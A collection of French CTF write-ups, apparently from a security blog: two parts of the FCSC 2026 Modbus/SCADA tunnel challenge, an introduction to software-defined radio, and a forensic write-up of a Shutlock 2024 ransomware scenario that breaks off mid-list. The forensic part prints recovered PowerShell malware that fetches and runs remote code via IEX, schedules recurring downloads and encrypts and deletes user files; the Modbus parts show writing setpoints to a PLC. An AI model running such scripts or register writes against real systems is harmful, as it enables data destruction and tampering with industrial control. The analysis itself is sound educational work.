Ceci est le write-up de la première partie du challenge Misc Tunnel Routier du CTF France CyberSecurity Challenge (FCSC) édition 2026 organisé par l’ANSSI.

Énoncé

Dans cette première partie de l’épreuve, vous devez retrouver un token caché dans les données d’identification de l’automate pour vous permettre d’accéder à la deuxième partie de l’épreuve.

Note: La description du système est disponible sur une page dédiée

nc tunnel-routier.fcsc.fr 502

Documentation

Voici la documentation présente à l’adresse: https://fcsc.fr/tunnel-routier-76bea48861178b0c

Tunnel routier : documentation

Le tunnel de Grenelle d’une longueur de 5km doit être inauguré ce jour, pour cela des responsables locaux ont fait le déplacement pour assister à sa première mise en service. Le système de contrôle-commande de ce tunnel est assuré par un automate programmable industriel (PLC) communiquant avec le SCADA au travers d’un protocole industriel sur le port TCP/502. Ce système permet de réguler des valeurs de process offrant une traversée du tunnel en toute sécurité pour les usagers. Les valeurs de process régulés de cet automate sont les suivantes :

• Le taux de C02 (PPM)
• La luminance (cd/m2)
• La température (°C)

Pour que le tunnel puisse être mis en service, il doit respecter les normes de sureté en vigueur, soit un taux de C02 inférieur ou égal à 800 PPM, une luminance supérieure ou égale à 300 cd/m2 et une température inférieure ou égale à 25 C°, et ce, dans les sections NORD et SUD du tunnel.

Alors que tout semblait normal la veille lors des vérifications, les équipes de conduite du tunnel découvrent avec stupéfaction, le matin même l’inauguration, que les ventilateurs et les spots sont éteints et que le poste Enedis de Grenelle alimentant le tunnel est hors service. Ils se sont alors empressés d’allumer le groupe électrogène de secours puis de redémarrer le process de régulation du tunnel via l’interface SCADA. Cependant, au moment de se connecter sur l’interface via le compte ayant les privilèges pour envoyer des consignes, ils se sont aperçus que le compte avait été supprimé pendant la nuit et qu’ils n’ont à présent accès qu’au compte en lecture seule.

Sans solutions, les épuipes de conduite font appel à vos compétences pour remettre le tunnel en service avant l’arrivée des VIP. A votre arrivée tardive, il ne vous reste qu’une minute pour remédier à la situation. Il n’y a pas une minute à perdre…

Dans cette première partie de l’épreuve, vous devez retrouvez un token caché dans les données d’identification de l’automate pour vous permettre d’accèder à la deuxième partie de l’épreuve.

Dans cette deuxième partie de l’épreuve, vous devez envoyer des consignes à l’automate afin d’obtenir des valeurs de process répondant aux normes de sureté (déjà fournies au dessus), le tout en moins d’une minute. Vous avez également accès à l’interface SCADA en lecture seule via le token récupéré dans la première partie de l’épreuve.

Ces serveurs sont accessibles à ces adresses :

• automate : nc tunnel-routier.fcsc.fr 502
• interface web SCADA du tunnel : https://tunnel-routier.fcsc.fr/.

Important. Chaque nouvelle connexion TCP à l’automate sur le port 502 implique la réinitialisation de l’automate, ainsi, un nouveau token est généré à chaque nouvelle connexion. Pour compléter les deux étapes de ce challenge dans le temps imparti, vous ne devrez donc pas couper votre connexion TCP et effectuer toutes vos requêtes dans la même connexion TCP.

Interface SCADA

Voici l’interface SCADA à l’adresse https://tunnel-routier.fcsc.fr/ mentionnée dans le document.

Résolution

Dans cette première partie, on cherche simplement à récupérer le token d’accès à l’automate SCADA, ce token serait caché dans les données d’identification de ce dernier.

Protocole de communication

Avant toute chose, il faut déterminer quel protocole on va devoir utiliser pour communiquer avec le SCADA, entre le Modbus TCP, l’OPC-UA et les protocoles propriétaires, il y a beaucoup de possibilitées.

D’après la documentation, on sait que la communication entre le PLC et le SCADA se fait via le port TCP/502, en regardant dans le registre IANA (registre gérant, entre autre, les assignation de ports) et en cherchant le port 502, on peut voir qu’il est réservé à Modbus, c’est donc ce que l’on va utiliser.

Registre

Il faut maintenant identifier le registre à lire. En regardant la documentation de Modbus, on peut voir la fonction 43 / 14 (0x2B / 0x0E) Read Device Identification qui est exactement ce que l’on veut.

Code Python

Avec toutes ces informations, on peut écrire notre code Python en utilisant la librairie PyModbus.

En cherchant Read Device Identification dans la documentation de PyModbus on trouve la fonction read_device_information.

from pymodbus.client import ModbusTcpClient

client = ModbusTcpClient('tunnel-routier.fcsc.fr')
client.connect()
result = client.read_device_information()
print(result.information)

On a en retour notre token:

{0: b'Siemens AG ', 1: b'S7-300 315-2EH13-0AB0 (Your token is : d3699c7e454f5fb5deeb7c6c637e44c5)', 2: b'3.0.33'}

Flag

On a plus qu’a le rentrer dans l’interface SCADA et voici notre flag.

Sources

• https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml
• https://pymodbus.readthedocs.io/en/latest/
• https://pymodbus.readthedocs.io/en/latest/source/library/pymodbus.html#pymodbus.pdu.mei_message.ReadDeviceInformationResponse
• https://www.modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf

Ceci est le write-up de la deuxième partie du challenge Misc Tunnel Routier du CTF France CyberSecurity Challenge (FCSC) édition 2026 organisé par l’ANSSI.

Énoncé

Dans cette deuxième partie de l’épreuve, vous devez envoyer des consignes à l’automate afin d’obtenir des valeurs de process répondant aux normes de sureté (fournie dans la description détaillée), le tout en moins d’une minute. Vous avez également accès à l’interface SCADA en lecture seule via le token récupéré dans la première partie de l’épreuve.

Note: La description du système est disponible sur une page dédiée.

nc tunnel-routier.fcsc.fr 502

Documentation

Voici la documentation présente à l’adresse: https://fcsc.fr/tunnel-routier-76bea48861178b0c

Tunnel routier : documentation

Le tunnel de Grenelle d’une longueur de 5km doit être inauguré ce jour, pour cela des responsables locaux ont fait le déplacement pour assister à sa première mise en service. Le système de contrôle-commande de ce tunnel est assuré par un automate programmable industriel (PLC) communiquant avec le SCADA au travers d’un protocole industriel sur le port TCP/502. Ce système permet de réguler des valeurs de process offrant une traversée du tunnel en toute sécurité pour les usagers. Les valeurs de process régulés de cet automate sont les suivantes :

• Le taux de C02 (PPM)
• La luminance (cd/m²)
• La température (°C)

Pour que le tunnel puisse être mis en service, il doit respecter les normes de sureté en vigueur, soit un taux de C02 inférieur ou égal à 800 PPM, une luminance supérieure ou égale à 300 cd/m2 et une température inférieure ou égale à 25 C°, et ce, dans les sections NORD et SUD du tunnel.

Alors que tout semblait normal la veille lors des vérifications, les équipes de conduite du tunnel découvrent avec stupéfaction, le matin même l’inauguration, que les ventilateurs et les spots sont éteints et que le poste Enedis de Grenelle alimentant le tunnel est hors service. Ils se sont alors empressés d’allumer le groupe électrogène de secours puis de redémarrer le process de régulation du tunnel via l’interface SCADA. Cependant, au moment de se connecter sur l’interface via le compte ayant les privilèges pour envoyer des consignes, ils se sont aperçus que le compte avait été supprimé pendant la nuit et qu’ils n’ont à présent accès qu’au compte en lecture seule.

Sans solutions, les épuipes de conduite font appel à vos compétences pour remettre le tunnel en service avant l’arrivée des VIP. A votre arrivée tardive, il ne vous reste qu’une minute pour remédier à la situation. Il n’y a pas une minute à perdre…

Dans cette première partie de l’épreuve, vous devez retrouvez un token caché dans les données d’identification de l’automate pour vous permettre d’accèder à la deuxième partie de l’épreuve.

Dans cette deuxième partie de l’épreuve, vous devez envoyer des consignes à l’automate afin d’obtenir des valeurs de process répondant aux normes de sureté (déjà fournies au dessus), le tout en moins d’une minute. Vous avez également accès à l’interface SCADA en lecture seule via le token récupéré dans la première partie de l’épreuve.

Ces serveurs sont accessibles à ces adresses :

• automate : nc tunnel-routier.fcsc.fr 502
• interface web SCADA du tunnel : https://tunnel-routier.fcsc.fr/.

Important. Chaque nouvelle connexion TCP à l’automate sur le port 502 implique la réinitialisation de l’automate, ainsi, un nouveau token est généré à chaque nouvelle connexion. Pour compléter les deux étapes de ce challenge dans le temps imparti, vous ne devrez donc pas couper votre connexion TCP et effectuer toutes vos requêtes dans la même connexion TCP.

Identification

Dans cette 2ème partie, on doit remettre en fonctionnement le tunnel en moins de 1 minute.

Pour ça, on doit agir sur 3 grandeurs physiques:

• Le taux de C02 (PPM)
• La luminance (cd/m2)
• La température (°C)

Pour commencer, on doit identifier deux choses:

• Le registre des capteurs
• Le registre des actionneurs

Identification des types de registres

Le tableau de la section 4.3 MODBUS Data model de la documentation MODBUS nous donne le détail des différents registres:

Commençont par le registre des capteurs, on sait que:

• Ce sont des Input
• Très probablement en lecture seule
• Que ce sont des valeurs sur plus d’un bit

D’après le tableau, tout porte à croire qu’il s’agit du Input Registers.

Pour celui des actionneurs, on sait que:

• Ils doivent être modifiable (Read-Write)
• Ils doivent être sur plus d’un bit (car pas simplement on/off)

D’après le tableau, tout porte à croire qu’il s’agit du Holding Registers.

Chaque registre (capteur ou actionneur) peut avoir 65536 adresses, chaque adresse contient 16 bits de données (voir le tableau des registres ci-dessus).

Si on regarde le schéma dans l’interface SCADA, on voit qu’il y a 3 capteurs et 8 actionneurs (4 lumières et 4 ventilateurs) par tunnel (Nord et Sud), soit un total de 6 capteurs et 16 actionneurs.

Identification des adresses du registre des capteurs

Notre but ici est de savoir à qu’elle adresse est stockée qu’elle valeur de quel capteur, on commence par lire le registre Input Registers:

from pymodbus.client import ModbusTcpClient

# Initialise la connexion Modbus
client = ModbusTcpClient('tunnel-routier.fcsc.fr')
client.connect()

# Lit les 6 valeurs du input registers à l'adresse 0
result = client.read_input_registers(address=0, count=6)
print(result)

Ce qui nous donne: ReadInputRegistersResponse(dev_id=1, transaction_id=1, address=0, count=0, bits=[], registers=[1600, 1600, 0, 0, 32, 32], status=1, retries=0)

Or, on veut juste la partie registers, on ajuste alors le script en modifiant print(result) en print(result.registers), ce qui nous donne:

[1600, 1600, 0, 0, 32, 32]

D’après l’ordre de grandeur, on peut en déduire que les deux premiers sont les capteurs de CO2, les deux suivants de luminance et enfin les deux derniers de température. Il est aussi très probable que le première de la paire concerne le tunnel nord et le second le tunnel sud.

Pour résumer:

Identification des adresses du registres des actionneurs

Ensuite, on s’occupe du registre Holding Registers. Cette fois je vais écrire une valeur à une adresse et regarder sur quel actionneur ça agit sur le tableau de bord:

from pymodbus.client import ModbusTcpClient

# Initialise la connexion Modbus
client = ModbusTcpClient('tunnel-routier.fcsc.fr')
client.connect()

# Affiche le token
print(print(client.read_device_information().information))

# Ecrit la valeur 200 à l'adresse 0
client.write_register(address=0, value=200)

Quand on regarde le tableau de bord, on peut voir que le premier ventilateur du tunnel nord s’est allumé avec pour valeur 200 (surement en tours/min):

On continue à tester les adresses jusqu’a les avoir toutes mappées, ce qui donne:

Résolution

Maintenant que l’on a tous les éléments, on va pouvoir écrire le script finale pour résoudre ce challenge.

from pymodbus.client import ModbusTcpClient
import time
import re

def get_token(client):
    """
    Retrieve the token from the device information.

    Parameters:
    client (ModbusTcpClient): Instance of ModbusTcpClient for TCP communication.

    Returns: 
    str: The access token.
    """
    token = str(client.read_device_information().information[1])

    match = re.search(r"Your token is :\s([A-Za-z0-9]+)", token)
    token = match.group(1)

    return token

def start_fans(client, value):
    """
    Set the speed (RPM) for each fan of the North and South tunnel.

    Parameters:
    client (ModbusTcpClient): Instance of ModbusTcpClient for TCP communication.
    value (int): The RPM to set for the fans.
    """

    for i in range(0,8):
        client.write_register(address=i, value=value)

def turn_on_lights(client, value):
    """
    Set the luminance for each light of the North and South tunnel.

    Parameters:
    client (ModbusTcpClient): Instance of ModbusTcpClient for TCP communication.
    value (int): The luminance to set for the lights.
    """

    for i in range(8,16):
        client.write_register(address=i, value=value)

if __name__ == "__main__":

    client = ModbusTcpClient('tunnel-routier.fcsc.fr')
    client.connect()

    token = get_token(client)

    # The value of the fans has been tested manually until it works
    start_fans(client, 1400)

    # The value of the light is a simple addition (we need 300/tunnel with 4 lights)
    turn_on_lights(client, 75)

    while True:

        sensors = client.read_input_registers(address=0,count=6)

        co2_north = sensors.registers[0]
        co2_south = sensors.registers[1]

        temp_north = sensors.registers[4]
        temp_south = sensors.registers[5]

        if co2_north <= 800 and co2_south <= 800 and temp_north <= 25 and temp_south <= 25:

            print(f"Let's get that flag: https://tunnel-routier.fcsc.fr/{token}")
            break

        time.sleep(1)

Ce script va allumer les ventilateurs à 1400 tr/min (j’ai trouvé la valeur “manuellement” en testant jusqu’a que ça fonctionne dans le temps impartis), les spots à 75 cd/m² (on a besoin de 300cd/m² par tunnel et on a 4 spots par tunnel, donc 300/4) et va lire les valeurs des capteurs jusqu’a ce qu’elles soient dans les normes.

Une fois ces valeurs atteintes, il va afficher un lien avec le token pour récupérer le flag.

Flag

On peut alors récupérer le flag via le lien donné par le script:

On pourrait aussi récupérer automatiquement le flag via la balise <div id="flag"></div> dans le code HTML du tableau de bord.

Sources

• https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml
• https://pymodbus.readthedocs.io/en/latest/
• https://pymodbus.readthedocs.io/en/latest/source/library/pymodbus.html#pymodbus.pdu.mei_message.ReadDeviceInformationResponse
• https://www.modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf

Cet article est une introduction à la SDR orienté hacking, des principes de base au choix du matériel.

Je vais donc commencer par faire un court rappel sur ce que sont les ondes radio, la législation en vigeur, et enfin présenter les matériels et logiciels couramment utilisés.

Les ondes radio

Une onde radioélectrique, ou onde radio, est une onde électromagnétique inférieure à 300 GHz, cela inclut les bandes FM, AM, VHF, les Takie-Walkie, les liaisons satellite, GSM, etc.

Ces ondes sont définit par 3 caractéristiques principales:

• La phase
• L’amplitude
• La période (1/fréquence)

Il est possible, avec un matériel adapté, de capter ces fréquences à moindre coût.

Partie juridique

Comme tout est réglementé, et l’émission d’ondes radio n’en étant pas excepté, il faut connaître la législation en vigueur pour ne pas faire n’importe quoi, il faut également garder en tête qu’elle peut changer d’un pays à un autre, aux abord des zones sensibles (zones militaires, aéroports, etc.) en même fonction des métropoles.

Autorité

L’autorité qui s’occuper des ondes radio en France est l’Agence Nationale des Fréquences Radio (ANFR).

Elle a cinq missions principales:

• Planifier l’usage des fréquences
• Gérer les fréquences sites et données
• Contrôler le spectre
• Protéger les utilisateurs et services
• Maîtriser l’exposition du public aux ondes

Bien que l’Agence ne puisse pas directement donner d’amendes, elle peut enquêter et intervenir en qualité d’experte technique sur les cas d’usage repréhensibles des ondes radio (brouillage, empiétement de fréquence, radio pirate, etc.).

Elle travaille conjointement avec l’ARCEP et l’ARCOM.

Réception

Pour ce qui est de la réception, il n’y a pas vraiment de restrictions, seul le déchiffrement de communications (notamment militaire ou du réseau Tetra) est interdit.

Cependant, même en cas de simple captation de communications (chiffrées ou non), l’ANFR peut venir vérifier que vous ne faîtes rien d’illégale.

Emission

Concernant l’émission, la règle générale est d’aller vérifier, en fonction de la bande de fréquences utilisée:

1. Si on en a le droit, en prenant en compte la localisation
2. Pendant combien de temps
3. A quelle puissance

Car cela peut fortement varier d’une bande de fréquences à une autre.

Par exemple, pour le LoRa (fréquences de 4330.5MHz à 434.79MHz et 863MHz à 868.6MHz), le taux d’utilisation maximum est limité à 1% du temps sur une heure glissante (en gros, pas plus de 36s par heure) avec une puissance maximale de 25mW.

Des documents très complets sont disponibles sur le site de l’ANFR et de l’ARCEP.

Le matériel

Afin de pouvoir écouter ces ondes, il faut pouvoir les capter, et pour ça, il existe beaucoup de matériels différents avec chacun leurs spécificités.

Je vais d’abord expliquer les spécificités les plus importantes avant de présenter les solutions les plus connus/utilisées.

Spectre radio

Le spectre d’un produit est la gamme de fréquence qu’il est capable d’écouter.

Par exemple, pour du WiFi 6, c’est aux alentours de 2,4GHz et 5GHz.

Pour du NFC, c’est la fréquence 13,56MHz.

Bande passante

La bande passante définit la quantité d’information que peut transmettre un signal à un temps T, plus elle est grande mieux c’est mais plus ça sera chère.

Pour avoir un ordre de grandeur, le WiFi 3 (2,4GHz) à une bande passante de 20MHz et un débit max de 54Mb/s tandis que le GSM (~ 900MHz) à une bande passante de 200kHz et un débit max de 271kb/s.

Duplex

Un duplex est un canal de communication, on parle de full-fuplex quand on peut transmettre et recevoir en même temps et de half-duplex quand ce n’est pas le cas.

Un cas concret d’utilisation du half-duplex est le MITM (WiFi, GSM, etc) car on doit faire la passerelle entre l’AP et l’appareil victime en temps réel.

RX/TX

RX signifie réception et TX Transmission, il faut juste garder en tête que tous les matériels ne peuvent pas transmettre.

Matériel connus

De la clé RTL-SDR, en passant par le Flipper Zero, le HackRF, le BladeRF, le Lime-SDR, le KrakenRF, etc. Il existe une pléthore de matériel SDR, il y en aura donc forcémment un qui vous conviendra !

Concernant quoi choisir.. tout dépend de vos besoins et de votre budget, voici une liste non exhaustive des matériels couramment utilisés:

Comme on peut le voir, chaque solution à ses avantages et inconvenients.

Si vous débutez dans le monde de la SDR, je ne peux que vous conseiller la clé RTL-SDR car ça coute moins de 30€, ça à une plage d’utilisation très large, une antenne est fournie avec, c’est petit et compatible avec tout !

Il y en a ici aussi beaucoup, je vous conseille cependant d’utiliser une Clé USB RTL2832 avec tuner R860 (disponible sur Passion radio et Amazon), elle à un spectre assez large, de 24MHz à 1,766GHz, et posséde le chipset Realtek RTL2832U ainsi que le tuner Rafael Micro R860 qui sont faits pour la SDR.

Les outils logiciels

Voici grossiérement la liste des logiciels les plus utilisés:

• GNURadio
• Universal Radio Hacker (URH)
• Inspectrum
• GQRX (ou Airspy pour Windows)
• Dump1090

Ils sont open-source (excepté Airspy) et disponibles sur Linux et Windows.

GQRX (ou Airpsy) permettent d’analyser un spectre, de le démoduler selon certaines modulations et de l’écouter/enregistrer.

Inspectrum est un outils d’analyse de signaux déjà capturés.

Universal Radio Hacker (URH) est une suite complète pour les protocoles sans fils.

Dump1090 est spécifique à la récupération des trames des balises d’avions (ADS-B), il permet de visualiser les informations qu’elles contiennent et afficher les appareils sur une carte.

Enfin, GnuRadio est LE logiciel de SDR, il permet de tout faire mais il est très bas niveau.

Conclusion

Voila qui clos cette introduction à la SDR, vous savez maintenant à peu près de quoi il s’agit, la réglementation en vigeur, le matériel nécessaire ainsi que les logiciels couramment utilisés.

Dans un prochain chapitre, nous allons voir comment utiliser ces logiciels ainsi que quelques exemples concrets.

Sources

https://fr.wikipedia.org/wiki/Onde_radio

https://anfr.fr

https://www.radioamateurs-france.fr/wp-content/uploads/2015/07/A-ANFR-presentation.pdf

https://arcep.fr

https://arcom.fr

https://resources.altium.com/fr/p/whats-difference-between-data-rate-and-bandwidth

https://pysdr.org/

https://fr.wikipedia.org/wiki/D%C3%A9bits_et_port%C3%A9es

https://fr.wikipedia.org/wiki/IEEE_802.11n

https://fr.wikipedia.org/wiki/Global_System_for_Mobile_Communications

https://fr.wikipedia.org/wiki/Terrestrial_Trunked_Radio

http://www.taylorkillian.com/2013/08/sdr-showdown-hackrf-vs-bladerf-vs-usrp.html

https://docs.flipper.net/

https://limemicro.com/

https://www.krakenrf.com/

https://github.com/krakenrf/krakensdr_docs/wiki#technical-specifications

https://www.passion-radio.org/blog/sdr-sharp-dongle-rtl2832-r820t-e4000/76466

https://homepages.uni-regensburg.de/~erc24492/SDR/Data_rtl2832u.pdf

https://github.com/gnuradio/gnuradio

https://github.com/gqrx-sdr/gqrx

https://airspy.com/

https://github.com/antirez/dump1090

Ceci est le write-up de la deuxième partie du challenge Forensic Enquête sur le phishing des JO du CTF Shutlock édition 2024 organisé par la DGSI et EPITA.

Énoncé

Bravo !

Vous voici dans la deuxième partie de votre enquête. Le dump réseau vous a été confié avec une partie de son système de fichiers.

L'utilisatrice à qui appartiennent ces informations, est une scientifique qui travaille sur le chiffrement du système d'information des JO.

Aidez-la à déchiffrer son système de fichiers.

Dans cette deuxième partie, on nous donne un fichier de capture réseau Capture.pcapng ainsi qu’un dossier FileSystem qui correspond à une partie du système de fichier de l’utilisatrice.

Cette fois, nous ne sommes pas aussi guidé, on sait juste que le système a été chiffré et que l’ont doit le déchiffrer.

Investigation

Système de fichier

La première chose que j’ai fait a été de parcourir le dossier FileSystem afin d’essayer de trouver une piste.

En me rendant dans les dossier personnels de l’utilisatrice (Desktop, Documents et Downloads), je me suis rendu compte que des objets portent l’extension .shutlock, notamment un objet importante_recherche.shutlock. Les ouvrir ne sert à rien car il n’y a rien de lisible, on a surement trouvé les fichiers chiffrés.

On peut également remarquer un fichier nommé iv dans le dossier Documents, il n’a rien à faire la et on peut supposer qu’il à servit au chiffrement des données, on le met donc de côté.

On à également un dossier AppData mais rien n’a l’air intéressant de prime abord, on y reviendra suremment plus tard.

Après avoir fait le tour du dossier, on peut aller voir du côté de la capture réseau.

Capture réseau

Afin d’analyser cette capture, on ouvre le fichier avec Wireshark (ou Tshark pour la version CLI), on se rend alors compte que le fichier est très gros et que chercher “a la main” n’est pas la solution la plus efficace.

Afin de dégrossire tout ça, on va chercher à identifier l’adresse du PC en listant les adresses privées, pour ça il faut se rendre dans Statistiques > Points de terminaison > IPV4.

On trouve alors deux adresses IP privées, la 192.168.1.1 et la 10.0.2.15.

On peut revenir sur la capture et filtrer les résultats pour avoir l’une ou l’autre des adresses: ip.addr==192.168.1.1 || ip.addr==10.0.2.15.

Bien que cela ait un peu réduit le nombre d’entrées, il rest encore beaucoup d’entrées, on remarque également qu’il y a beaucoup de requêtes TCP, on peut alors aller regarder les protocoles présents en se rendant dans Statistiques > Hiérarchie des Protocoles.

Le tableau qui s’affiche nous apprend qu’il y a du, TLS, du DNS mais surtout des transferts de fichiers en HTTP (JPEG, du texte, etc.). ça ressemble à une piste.

Afin de voir les fichiers échangés en HTTP, il faut se rendre dans Fichier > Exporter Objets > HTTP... et regrouper les adresses IPs d’un côté et les noms d’hôtes de l’autre en cliquant sur “Organiser par nom d’hôte” en haut.

On peut voir que plusieurs fichiers ont été échangés avec l’IP 172.21.195.17, soit:

• Enigma.ps1
• Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf
• Encrypt.ps1
• key.txt
• wallpaper.jpg

Les plus intéressants sont Enigma.ps1, Encrypt.ps1 et key.txt, on les téléchargent.

Analyse des scripts

Ces scripts powershell sont très certainement ceux qui ont été utilisés pour chiffrer le PC, on va donc essayer de comprendre ce qu’ils font.

Enigma.ps1

$IP_addr = '172.21.195.17:5000'

$urlFakeJob = "http://$IP_addr/Holmes/Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf"
$urlTask = "http://$IP_addr/Holmes/GetFileInfo.ps1"
$fakePlaceOffer = 'Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf'
$TaskFile = 'GetFilesInfo.ps1'

#Get the lure pdf
Invoke-WebRequest -Uri $urlFakeJob -OutFile $fakePlaceOffer

# Open the PDF file with the default PDF viewer
Start-Process -FilePath $fakePlaceOffer

### Schedule task
$taskName = "IGotYourFileInfo"

# Create the scheduled task that get some file information
$cmd = "Invoke-WebRequest -Uri $urlTask -OutFile $TaskFile ; Start-Process -FilePath $TaskFile"
schtasks /create /tn $taskName /sc HOURLY /tr $cmd

#Encrypt some file

powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile  -c "& {IEX ((New-Object Net.WebClient).DownloadString('http://$IP_addr/Holmes/Encrypt.ps1'))}"

## Change wallpaper
$webClient = New-Object System.Net.WebClient
$wallpaperUrl = "http://$IP_addr/Holmes/wallpaper.jpg"
$wallpaperPath = "$env:USERPROFILE\Desktop\wallpaper.jpg"
$webClient.DownloadFile($wallpaperUrl, $wallpaperPath)

## Set the wallpaper
$regKey = "HKCU:\Control Panel\Desktop"
Set-ItemProperty -Path $regKey -Name Wallpaper -Value $wallpaperPath
$wallpaperStyle = "3"
Set-ItemProperty -Path $regKey -Name WallpaperStyle -Value $wallpaperStyle
$tileWallpaper = "0"
Set-ItemProperty -Path $regKey -Name TileWallpaper -Value $tileWallpaper

# Forcer l'actualisation du bureau
Start-Process -FilePath "RUNDLL32.EXE" -ArgumentList "USER32.DLL,UpdatePerUserSystemParameters ,1 ,True" -Wait

## Create text file
$fileContent = "YOU HAVE BEEN INFECTED BY THE HAMOR FIND THE KEY TO RETREIVE YOUR FILE"
Set-Content "$env:USERPROFILE\Desktop\instructions.txt" -Value $fileContent
# Open text file
Invoke-Item "$env:USERPROFILE\Desktop\instructions.txt"

Ce script est celui qui a très certainement été lancé en premier, il va créer la tâche planifiée vu avant, chiffrer les fichiers, changer le fond d’écran et créer le fichier instructions.txt.

La seule ligne qui nous intéresse pour déchiffrer les fichier est celle la: powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c "& {IEX ((New-Object Net.WebClient).DownloadString('http://$IP_addr/Holmes/Encrypt.ps1'))}"

Elle appelle le script Encrypt.ps1 qui est en charge de chiffrer les fichiers sur le bureau.

Encrypt.ps1

# Define the directories to search for files
$IP_addr = '172.21.195.17:5000'
$directories = @("$env:USERPROFILE")

# Define the file extensions to encrypt
$extensions = @(".png", ".doc", ".txt", ".zip")
$keyUrl = "http://$IP_addr/Holmes/key.txt"

# Download the key from the URL
$keyContent64 = Invoke-WebRequest -Uri $keyUrl | Select-Object -ExpandProperty Content
$keyContent = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($keyContent64))

# Use SHA-256 hash function to produce a 32-byte key
$sha256 = [System.Security.Cryptography.SHA256]::Create()
$key = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($keyContent))
$iv = [System.Security.Cryptography.RijndaelManaged]::Create().IV

# Sauvegarder l'IV dans un fichier
$ivFilePath = "$env:USERPROFILE\Documents\iv"
[System.IO.File]::WriteAllBytes($ivFilePath, $iv)

# Create a new RijndaelManaged object with the specified key
$rijndael = New-Object System.Security.Cryptography.RijndaelManaged
$rijndael.Key = $key
$rijndael.IV = $iv
$rijndael.Mode = [System.Security.Cryptography.CipherMode]::CBC
$rijndael.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7


# Go through each directory
foreach ($dir in $directories) {
    # Go through each file
    Get-ChildItem -Path $dir -Recurse | ForEach-Object {
        # Check the file extension
        if ($extensions -contains $_.Extension) {
            # Generate the new file name
            $newName = $_.FullName -replace $_.Extension, ".shutlock"

            # Read the file contents in bytes
            $contentBytes = [System.IO.File]::ReadAllBytes($_.FullName)

            # Create a new encryptor
            $encryptor = $rijndael.CreateEncryptor()

            # Encrypt the content
            $encryptedBytes = $encryptor.TransformFinalBlock($contentBytes, 0, $contentBytes.Length)

            # Write the encrypted content to a file
            [System.IO.File]::WriteAllBytes($newName, $encryptedBytes)

            # Delete the original file
            Remove-Item $_.FullName
        }
    }
}

Grâce aux commentaires, on comprend sans lire le code, a peu près ce qu’il fait:

• Définis les extensions à cibler
• Récupère la clé et la hash via SHA-256
• Créé l’iv et le sauvegarde dans un fichier
• Créé un objet RijndaelManaged
• Chiffre les fichiers de manière récursive

Maintenant que l’ont sait ça, on a besoin de déterminer (même si on peut s’en douter) quel méthode de chiffrement a été utilisée, on cherche alors ce qu’est l’objet RijndaelManaged en Powershell et on tombe sur cet article qui nous explique que c’est, grosso modo, de l’AES.

L’AES étant un algorithme de chiffrement symétrique, il n’y a qu’une seule clé pour les deux opérations, ont a alors tout ce qu’il faut pour déchiffrer les fichiers.

Déchiffrement des fichiers

Pour faire ça, j’ai écrit le script Python suivant:

import os
import sys
import base64
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def decrypt(path_iv,path_key,file):
    iv = open(f"{path_iv}","rb").read()
    b64_key = open(f"{path_key}", "rb").read()
    key = hashlib.sha256(base64.b64decode(b64_key)).digest()
    cipher = AES.new(key, AES.MODE_CBC, iv)
    enc_file=open(file,"rb").read()
    dec_file=unpad(cipher.decrypt(enc_file),AES.block_size)
    open(f"{file}.dec","wb").write(dec_file)

file=sys.argv[1]

iv = "path/to/iv"
key = "path/to/key"

decrypt(iv,key,file)

Il va permettre de déchiffrer le fichier en argument et lui rajouter l’extension .dec.

J’utilise ce script pour déchiffrer (au hasard) l’objet importante_recherche.shutlock? Afin de déterlinerquel est son extension d’origine, on peut tout simplement utiliser la commande file sous Linux (ou a la main en regardant le Magic Byte):

file importante_recherche.shutlock.dec
importante_recherche.shutlock.dec: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted

On a donc un .zip, la partie compression method=AES Encrypted nous indique qu’il est protégé par un mot de passe.

J’ai déchiffré tous les autres fichiers mais ils ne contiennent rien d’important.

Mot de passe de l’archive

Le système de fichier est déchiffré mais pourtant pas de flag en vue et une archive protégée par mot de passe, la suite logique est alors de la déchiffrer !

Malheureusement, l’archive ne nous fournir aucune piste sur ou chercher et, comme je le disais au dessus, aucun autre fichier dans le répertoire personnel de l’utilisatrice n’a d’importance (on a une image de canard ainsi que des fichiers remplis de données aléatoire). Le seul endroit ou on n’a pas encore regardé est le dossier AppData.

Ce dossier contient les fichiers de paramètres ainsi que pleins d’autres informations utilisées par les applications installées sur le système.

Dans ce dossier, il était possible de regarder à beaucoup d’endroits, mais un a pu me faire avance, il s’agit de ActivitiesCache.db.

Cette base de données située dans FileSystem/AppData/Local/ConnectedDevicesPlatform/L.clara/ enregistre les activitées de l’utilisateur sur le poste, on peut l’ouvir avec des outils tel que sqlitebrowser.

En parcourant cette dernière, dans la table Activity, on finit par remarque à la ligne 14 l’application Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe!App.

Ni une ni deux, on part explorer l’arborescence FileSystem/AppData/Local/Packages/Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe/ (…/Packages/ contenant les données de toutes les application).

On trouve alors la BDD plum.sqlite (contenue dans le dossier LocalState) stockant le contenu des notes:

pwd importante recherche: s3cr3t_r3ch3rch3_pwd_!

Super ! On a enfin notre… flag ?

Bien que le mot de passe permet effectivement d’ouvrir l’archive, on obtient alors seulement deux fichiers, chiffrement.jpeg et recherches_algorithmes_de_chiffrement.pdf ne donnant aucun flag (et évidemment, SHLK{s3cr3t_r3ch3rch3_pwd_!} ne fonctionne pas).

Stéganographie

Ouvrir l’archive étant une étape nécessaire dans la résolution, il est très peu probable que le flag soit caché ailleurs dans le dossier AppData ou dans la capture réseau, on va alors se concentrer sur les deux fichiers extraits sur lesquels il nous reste plus qu’a faire de la stéganographie.

J’ai alors choisit de commencer par l’image car c’est l’endroit le plus répandu en stéganographie pour cacher des choses, et pour cela, plusieurs logiciels sont possibles:

• strings: Aucun résultat
